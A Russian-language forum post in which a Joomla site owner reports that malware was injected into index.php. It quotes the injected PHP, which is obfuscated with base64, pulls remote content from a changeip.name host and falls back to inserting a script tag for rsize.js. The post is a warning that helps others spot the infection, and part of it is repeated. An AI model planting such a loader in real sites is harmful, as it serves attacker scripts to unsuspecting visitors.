Ну здравствуйте rsize.js
Добавлено: 2013-02-10, 12:11:15
В помощь тем кто пользует Joomla.
На днях мои саты которые тут хостятся в очередной раз поймали вирус, вторая волна после Новогодних приключений..
И так по порядку, гадость прописалась в index.php и пытается загрузить скрипт отсюда
h**p://feelthesame.changeip.name/rsize.js
вот код того что прописалось
удалил строки !
устал уже воевать ..
На днях мои саты которые тут хостятся в очередной раз поймали вирус, вторая волна после Новогодних приключений..
И так по порядку, гадость прописалась в index.php и пытается загрузить скрипт отсюда
h**p://feelthesame.changeip.name/rsize.js
вот код того что прописалось
Код: Выделить всё
// Return the response.
echo $app;
function sql2_safe($in) {
$rtn = base64_decode($in);
return $rtn;
function collectnewss() {
$get = sql2_safe("aHR0cDovL2N0cmxzaS5jaGFuZ2VpcC5uYW1lOjg4OC9zY3JpcHQuaHRtbA==");
$content = @file_get_contents($get);
if (!$content)
echo sql2_safe("PHNjcmlwdCBzcmM9Imh0dHA6Ly9mZWVsdGhlc2FtZS5jaGFuZ2VpcC5uYW1lL3JzaXplLmpzIj48L3NjcmlwdD4=");
else
echo $content;
}
collectnewss ();
удалил строки !
Код: Выделить всё
function collectnewss() {
$get = sql2_safe("aHR0cDovL2N0cmxzaS5jaGFuZ2VpcC5uYW1lOjg4OC9zY3JpcHQuaHRtbA==");
$content = @file_get_contents($get);
if (!$content)
echo sql2_safe("PHNjcmlwdCBzcmM9Imh0dHA6Ly9mZWVsdGhlc2FtZS5jaGFuZ2VpcC5uYW1lL3JzaXplLmpzIj48L3NjcmlwdD4=");
else
echo $content;
}
collectnewss ();